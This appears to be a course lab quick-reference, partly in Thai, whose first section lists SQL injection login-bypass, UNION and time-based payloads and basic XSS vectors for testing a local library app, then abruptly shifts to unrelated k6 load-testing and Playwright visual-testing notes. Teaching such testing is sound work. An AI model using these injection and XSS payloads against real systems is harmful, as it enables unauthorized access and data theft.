# Week 12: คู่มืออ้างอิงด่วนสำหรับการทดสอบความปลอดภัย

## Payload Cheat Sheet และคำสั่งด่วน

---

## ลิงก์ด่วน

- [SQL Injection Payloads](#sql-injection-payloads)
- [XSS Test Vectors](#xss-test-vectors)
- [Authentication Tests](#authentication-tests)
- [Session Tests](#session-tests)
- [Tools Quick Start](#tools-quick-start)
- [Testing Checklist](#testing-checklist)

---

## SQL INJECTION PAYLOADS

### การตรวจหารพื้นฐาน (เริ่มจากที่นี่!)

```
'
"
'--
'#
'/*
```

**สิ่งที่ต้องคาดหวัง:**

- หากระบบขัดข้องหรือแสดงข้อผิดพลาด SQL → Vulnerable!
- หากระบบปฏิเสธอย่างสวย → อาจได้รับการป้องกัน

---

### Payloads ที่เฉพาะเจาะจงสำหรับระบบห้องสมุด

#### หน้าเข้าสู่ระบบ (login.php)

**Payload ที่ง่ายที่สุด (ลองก่อน):**

```
Username: admin' OR '1'='1
Password: admin
Click: Login
Expected: Succeeds even with wrong password
```

**Payloads ทางเลือกหากข้างบนไม่ได้ผล:**

```
admin'--
admin' OR 1=1--
admin' OR '1'='1'--
' OR '1'='1'--
' or 1=1#
```

---

#### หน้าค้นหา (books.php?search=...)

**Payload ที่ง่ายที่สุด:**

```
Search box: ' OR '1'='1'--
Click: Search
Expected: Returns ALL books (instead of search results)
```

---

#### แบบฟอร์มเพิ่มหนังสือ (book_add.php)

**ทดสอบค่าลบ:**

```
Title: Test Book
Total: -5
→ System should REJECT
If it accepts: VULNERABILITY!
```

---

### เทคนิคการไม่สอดรับ SQL Injection ทั่วไป

| Payload        | Use Case           | Example                 |
| -------------- | ------------------ | ----------------------- |
| `'--`          | Comment out rest   | `admin'--`              |
| `' OR '1'='1`  | Always true        | `' OR '1'='1`           |
| `UNION SELECT` | Extract other data | `' UNION SELECT *`      |
| `SLEEP()`      | Time-based blind   | `'; SELECT SLEEP(5);--` |

---

## XSS TEST VECTORS

### Payloads พื้นฐาน

```html
<script>
  alert("XSS");
</script>
<img src="x" onerror="alert('XSS')" />
<svg onload="alert('XSS')">
  <input autofocus onfocus="alert('XSS')"></input>
</svg>
```

---

## บัญชีตรวจสอบการทดสอบ

### SQL Injection

- [ ] Test login: `admin' OR '1'='1`
- [ ] Test search: `' OR '1'='1'--`
- [ ] Test book add: negative values
- [ ] Document findings

### XSS

- [ ] Add book with `<script>alert('xss')</script>`
- [ ] Try alternative payloads if first fails
- [ ] Check page source for escaping
- [ ] Document findings

### การยืนยันตัวตน

- [ ] Try SQL injection login
- [ ] Try non-existent username
- [ ] View page source for credentials
- [ ] Check for debug mode

### เซสชัน

- [ ] Logout and use browser back
- [ ] Check session destruction
- [ ] Check session timeout (optional)

### รายงาน

- [ ] All exercises covered
- [ ] Each finding documented
- [ ] Severity assigned
- [ ] Recommendations provided

---

## อ้างอิงความรุนแรงด่วน

| ระดับ      | ผลกระทบ                            |
| ---------- | ---------------------------------- |
| 🔴 วิกฤติ  | การโจรกรรมข้อมูล, ระบบปราศรัย      |
| 🟠 สูง     | ประนีประนอม บัญชี, ข้อมูลที่แก้ไข  |
| 🟡 ปานกลาง | การเข้าถึงจำกัด, ความเสี่ยงปานกลาง |
| 🟢 ต่ำ     | เปิดเผยข้อมูล                      |

**กฎ:** สามารถเข้าถึงข้อมูล? → HIGH+ | สามารถแก้ไข? → วิกฤติ

---

## เครื่องมือ

### เครื่องมือนักพัฒนาเบราว์เซอร์ (F12)

- Network tab: ดูคำขอ
- Application: ดูคุกกี้
- Console: ตรวจสอบข้อผิดพลาด

### Postman

- ทดสอบปลายทาง API
- แก้ไข payloads
- ตรวจสอบการตอบสนอง

### OWASP ZAP

- ฟรี automated scanner
- สร้างรายงาน
- ค้นหาปัญหาทั่วไป

---

## ความผิดพลาดทั่วไป ❌ → การแก้ไข ✅

❌ พิมพ์ payload → ✅ Copy-paste  
❌ ถือว่าปลอดภัย → ✅ ทดสอบเสมอ  
❌ ทดสอบฟิลด์เดียว → ✅ ทดสอบหลายฟิลด์  
❌ ไม่เอกสาร → ✅ จุดภาพ

---

## สิ่งสำคัญที่สุด

**อย่าเพิ่งท้อแท้ถ้า payload แรกไม่ได้ผล!** ลองใช้ payloads ที่แตกต่างและฟิลด์ต่างๆ

---

```bash
# Basic run
k6 run script.js

# With custom VUs and duration
k6 run --vus 50 --duration 1m script.js

# Output to file
k6 run --out json=results.json script.js

# Run with summary
k6 run --summary-export=summary.json script.js
```

---

### Load Patterns

#### Constant Load

```javascript
export const options = {
  vus: 50,
  duration: "5m",
};
```

#### Ramping Load

```javascript
export const options = {
  stages: [
    { duration: "1m", target: 20 }, // Ramp up
    { duration: "3m", target: 20 }, // Stay
    { duration: "1m", target: 0 }, // Ramp down
  ],
};
```

#### Spike Test

```javascript
export const options = {
  stages: [
    { duration: "10s", target: 100 }, // Spike
    { duration: "1m", target: 100 }, // Hold
    { duration: "10s", target: 0 }, // Down
  ],
};
```

---

### Thresholds (Pass/Fail Criteria)

```javascript
export const options = {
  thresholds: {
    // Response time
    http_req_duration: ["p(95)<500"], // 95th percentile < 500ms
    http_req_duration: ["avg<200"], // Average < 200ms
    http_req_duration: ["max<2000"], // Max < 2 seconds

    // Error rate
    http_req_failed: ["rate<0.01"], // <1% errors
    http_req_failed: ["rate<0.05"], // <5% errors

    // Checks
    checks: ["rate>0.95"], // >95% checks pass

    // HTTP status
    "http_req_duration{status:200}": ["p(99)<1000"], // 200 responses
  },
};
```

---

### Checks (Validations)

```javascript
const res = http.get("http://localhost:3000/api/books");

check(res, {
  // Status code
  "status is 200": (r) => r.status === 200,
  "status is not 500": (r) => r.status !== 500,

  // Response time
  "response time < 500ms": (r) => r.timings.duration < 500,

  // Response body
  "has data": (r) => r.json("data") !== undefined,
  "has title": (r) => r.json("title") !== null,
  "array not empty": (r) => r.json().length > 0,

  // Response headers
  "content-type is JSON": (r) =>
    r.headers["Content-Type"].includes("application/json"),
});
```

---

### HTTP Methods

```javascript
// GET
http.get("http://localhost:3000/api/books");

// POST
http.post(
  "http://localhost:3000/api/books",
  JSON.stringify({ title: "New Book", author: "Author" }),
  { headers: { "Content-Type": "application/json" } },
);

// PUT
http.put(
  "http://localhost:3000/api/books/1",
  JSON.stringify({ title: "Updated Title" }),
  { headers: { "Content-Type": "application/json" } },
);

// DELETE
http.del("http://localhost:3000/api/books/1");

// With authentication
http.get("http://localhost:3000/api/protected", {
  headers: { Authorization: "Bearer token123" },
});
```

---

### Custom Metrics

```javascript
import { Trend, Counter, Rate, Gauge } from "k6/metrics";

// Trend - for timing data
const myTrend = new Trend("custom_duration");
myTrend.add(response.timings.duration);

// Counter - for counting
const myCounter = new Counter("custom_counter");
myCounter.add(1);

// Rate - for success/failure
const myRate = new Rate("custom_rate");
myRate.add(true); // or false

// Gauge - for current value
const myGauge = new Gauge("custom_gauge");
myGauge.add(100);
```

---

### Understanding k6 Output

```
Metrics Explanation:

✓ checks.........................: 100.00%  ← All checks passed
  data_received..................: 1.5 MB   ← Data received from server
  data_sent......................: 50 kB    ← Data sent to server

✓ http_req_duration..............: avg=234ms min=45ms med=220ms max=450ms p(95)=380ms
  ↑ Most important metric!
  - avg: Average response time
  - min: Fastest request
  - med (P50): 50% of requests faster than this
  - max: Slowest request
  - p(95): 95% of requests faster than this

✓ http_req_failed................: 0.00%   ← No failed requests (< threshold)
  http_reqs......................: 630     ← Total requests made
  iterations.....................: 210     ← Complete test runs
  vus............................: 10      ← Virtual users
  vus_max........................: 10      ← Max VUs reached
```

---

### Common Patterns

#### Random Data

```javascript
const bookId = Math.floor(Math.random() * 100) + 1;
const userId = Math.floor(Math.random() * 1000);

const userActions = ["search", "browse", "borrow"];
const action = userActions[Math.floor(Math.random() * userActions.length)];
```

#### Conditional Logic

```javascript
// 70% search, 30% borrow
if (Math.random() < 0.7) {
  http.get("http://localhost:3000/api/books/search?q=test");
} else {
  http.post("http://localhost:3000/api/books/borrow", data);
}
```

#### Groups (Organize scenarios)

```javascript
import { group } from "k6";

export default function () {
  group("User Registration", function () {
    http.post("http://localhost:3000/api/register", userData);
  });

  group("User Login", function () {
    http.post("http://localhost:3000/api/login", credentials);
  });

  group("Browse Books", function () {
    http.get("http://localhost:3000/api/books");
  });
}
```

---

## 📸 Playwright Visual Testing Quick Reference

### Installation

```bash
npm install --save-dev @playwright/test
npx playwright install
```

---

### Basic Visual Test

```javascript
const { test, expect } = require("@playwright/test");

test("page looks correct", async ({ page }) => {
  await page.goto("http://localhost:3000");
  await expect(page).toHaveScreenshot("page.png");
});
```

---

### Running Visual Tests

```bash
# First run - creates baseline
npx playwright test visual.spec.js

# Subsequent runs - compares with baseline
npx playwright test visual.spec.js

# Update baseline if changes are intentional
npx playwright test visual.spec.js --update-snapshots

# View test report
npx playwright show-report
```

---

### Screenshot Options

```javascript
// Full page screenshot
await expect(page).toHaveScreenshot("fullpage.png", {
  fullPage: true,
});

// Element screenshot
const header = page.locator("header");
await expect(header).toHaveScreenshot("header.png");

// Custom tolerance
await expect(page).toHaveScreenshot("page.png", {
  maxDiffPixels: 100, // Allow 100 pixels difference
  maxDiffPixelRatio: 0.01, // Or 1% difference
});

// Mask dynamic content
await expect(page).toHaveScreenshot("page.png", {
  mask: [page.locator(".timestamp"), page.locator(".ad-banner")],
});

// Clip to specific area
await expect(page).toHaveScreenshot("page.png", {
  clip: { x: 0, y: 0, width: 800, height: 600 },
});
```

---

### Testing Different Viewports

```javascript
test("mobile view", async ({ page }) => {
  await page.setViewportSize({ width: 375, height: 667 });
  await page.goto("http://localhost:3000");
  await expect(page).toHaveScreenshot("mobile.png");
});

test("tablet view", async ({ page }) => {
  await page.setViewportSize({ width: 768, height: 1024 });
  await page.goto("http://localhost:3000");
  await expect(page).toHaveScreenshot("tablet.png");
});

test("desktop view", async ({ page }) => {
  await page.setViewportSize({ width: 1920, height: 1080 });
  await page.goto("http://localhost:3000");
  await expect(page).toHaveScreenshot("desktop.png");
});
```

---

### Testing Different States

```javascript
// Hover state
await button.hover();
await expect(button).toHaveScreenshot("button-hover.png");

// Focus state
await input.focus();
await expect(input).toHaveScreenshot("input-focus.png");

// Disabled state
await button.evaluate((el) => (el.disabled = true));
await expect(button).toHaveScreenshot("button-disabled.png");

// Dark mode
await page.click('[data-testid="theme-toggle"]');
await page.waitForTimeout(300); // Wait for transition
await expect(page).toHaveScreenshot("page-dark.png");
```

---

### Common Patterns

#### Wait for Page to be Ready

```javascript
await page.goto("http://localhost:3000");
await page.waitForLoadState("networkidle");
await page.waitForSelector(".content-loaded");
await expect(page).toHaveScreenshot();
```

#### Test Multiple Pages Loop

```javascript
const pages = ["/home", "/about", "/contact"];

for (const path of pages) {
  test(`${path} looks correct`, async ({ page }) => {
    await page.goto(`http://localhost:3000${path}`);
    await page.waitForLoadState("networkidle");
    await expect(page).toHaveScreenshot(`${path.slice(1)}.png`);
  });
}
```

#### Cross-Browser Testing

```javascript
// playwright.config.js
module.exports = {
  projects: [
    { name: "chromium", use: { browserName: "chromium" } },
    { name: "firefox", use: { browserName: "firefox" } },
    { name: "webkit", use: { browserName: "webkit" } },
  ],
};

// Test runs on all browsers automatically
```

---

## 🎯 Common Tasks Cheat Sheet

### Task: Test Login Flow Performance

```javascript
import http from "k6/http";
import { check } from "k6";

export const options = {
  vus: 50,
  duration: "1m",
  thresholds: {
    http_req_duration: ["p(95)<1000"],
  },
};

export default function () {
  const loginRes = http.post(
    "http://localhost:3000/api/login",
    JSON.stringify({
      username: "testuser",
      password: "password123",
    }),
    { headers: { "Content-Type": "application/json" } },
  );

  check(loginRes, {
    "login successful": (r) => r.status === 200,
    "has token": (r) => r.json("token") !== undefined,
  });
}
```

---

### Task: Test Homepage Across Devices

```javascript
const { test, expect } = require("@playwright/test");

const devices = [
  { name: "iPhone SE", width: 375, height: 667 },
  { name: "iPad", width: 768, height: 1024 },
  { name: "Desktop", width: 1920, height: 1080 },
];

for (const device of devices) {
  test(`homepage on ${device.name}`, async ({ page }) => {
    await page.setViewportSize({
      width: device.width,
      height: device.height,
    });
    await page.goto("http://localhost:3000");
    await page.waitForLoadState("networkidle");
    await expect(page).toHaveScreenshot(`homepage-${device.name}.png`);
  });
}
```

---

### Task: Find System Breaking Point

```javascript
export const options = {
  stages: [
    { duration: "1m", target: 50 },
    { duration: "1m", target: 100 },
    { duration: "1m", target: 200 },
    { duration: "1m", target: 300 },
    { duration: "1m", target: 400 },
    { duration: "1m", target: 0 },
  ],
};

export default function () {
  const res = http.get("http://localhost:3000/api/books");
  check(res, {
    success: (r) => r.status === 200,
  });
}
```

Watch the output - when does error rate spike? That's your breaking point!

---

## 🐛 Common Issues & Solutions

### k6 Issues

**Issue:** Tests pass locally but fail in CI

```javascript
// Solution: Use environment variables
const BASE_URL = __ENV.BASE_URL || "http://localhost:3000";
const res = http.get(`${BASE_URL}/api/books`);
```

**Issue:** Getting "connection refused" errors

```bash
# Solution: Check if your app is running
curl http://localhost:3000/api/books

# Or use a different port
k6 run script.js -e BASE_URL=http://localhost:8080
```

**Issue:** Inconsistent results

```javascript
// Solution: Add warm-up stage
export const options = {
  stages: [
    { duration: "30s", target: 10 }, // Warm-up
    { duration: "2m", target: 50 }, // Actual test
    { duration: "30s", target: 0 }, // Cool-down
  ],
};
```

---

### Playwright Visual Issues

**Issue:** Screenshots differ slightly every time

```javascript
// Solution: Increase tolerance or wait for stable state
await page.waitForLoadState("networkidle");
await page.waitForTimeout(1000); // Extra wait

await expect(page).toHaveScreenshot("page.png", {
  maxDiffPixels: 100,
});
```

**Issue:** Font rendering differences

```javascript
// Solution: Mask text or increase tolerance
await expect(page).toHaveScreenshot("page.png", {
  maxDiffPixelRatio: 0.02, // 2% tolerance
});
```

**Issue:** Dynamic timestamps causing failures

```javascript
// Solution: Mask dynamic elements
await expect(page).toHaveScreenshot("page.png", {
  mask: [page.locator(".timestamp")],
});
```

---

## 📊 Performance Metrics Guide

### Response Time Percentiles

```
P50 (Median):  Half of users experience this or better
P75:           75% of users experience this or better
P90:           90% of users experience this or better
P95:           95% of users experience this or better  ← Most important!
P99:           99% of users experience this or better
```

**Why P95/P99 matters more than average:**

```
Example:
- Average: 200ms  ✅
- P95: 5000ms     ❌ 5% of users suffer!

The average looks good, but 5% of users have terrible experience.
```

---

### Acceptable Performance Levels

```
Response Time (P95):
✅ < 100ms    Excellent
✅ < 500ms    Good
⚠️ < 1000ms   Acceptable
❌ > 1000ms   Poor (needs optimization)

Error Rate:
✅ < 0.1%     Excellent
⚠️ < 1%       Acceptable
❌ > 1%       Poor (needs investigation)

Throughput:
Depends on your system capacity
Compare: Before vs After optimization
```

---

## 🎓 Study Tips for Exam

### Performance Testing Concepts

- Types: Load, Stress, Spike, Endurance, Volume
- Metrics: Response time (P95), Throughput, Error rate
- Bottlenecks: Database, N+1 queries, Memory leaks
- Optimization: Caching, Indexing, Connection pooling

### Visual Testing Concepts

- Why: Catches UI bugs functional tests miss
- How: Screenshot comparison (pixel-by-pixel)
- When to update baseline vs fix bug
- Testing states: Normal, Hover, Disabled, Dark mode
- Responsive testing: Mobile, Tablet, Desktop

### Tools

- k6: Modern load testing (JavaScript)
- Playwright: Visual regression testing (built-in)

---

## 📝 Lab Checklist

### Before You Start

- [ ] Library System running on localhost:3000
- [ ] k6 installed and verified
- [ ] Playwright installed
- [ ] GitHub repository ready

### Performance Testing

- [ ] Basic load test (10 VUs, 30s)
- [ ] Ramping load test
- [ ] Stress test (find breaking point)
- [ ] Spike test
- [ ] Results documented

### Visual Testing

- [ ] Homepage visual test
- [ ] Responsive tests (mobile, tablet, desktop)
- [ ] UI states tests (hover, disabled, etc.)
- [ ] Baseline screenshots created
- [ ] Test a change and review diff

### Documentation

- [ ] Performance report completed
- [ ] Visual testing report completed
- [ ] Screenshots included
- [ ] Code committed to GitHub

---

## 🚀 Pro Tips

1. **Always warm up before performance testing**
   - First few requests are always slower
   - Use warm-up stage

2. **Test with realistic data**
   - Use Faker.js for test data
   - Vary inputs to avoid caching effects

3. **Monitor server during tests**
   - Watch CPU, Memory, Database
   - Identify bottlenecks

4. **For visual tests, wait for stable state**
   - Use `waitForLoadState('networkidle')`
   - Add extra wait for animations

5. **Commit baseline screenshots to Git**
   - Team members get same baselines
   - Track visual changes over time

6. **Run tests multiple times**
   - Average of 3-5 runs is more reliable
   - First run might be cold start

---

## 📚 Additional Resources

- [k6 Documentation](https://k6.io/docs/)
- [Playwright Visual Testing](https://playwright.dev/docs/test-snapshots)
- [HTTP Status Codes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status)

---

**Good luck with your lab! 🎉**

Remember: Performance testing and visual testing are essential skills for modern QA engineers!
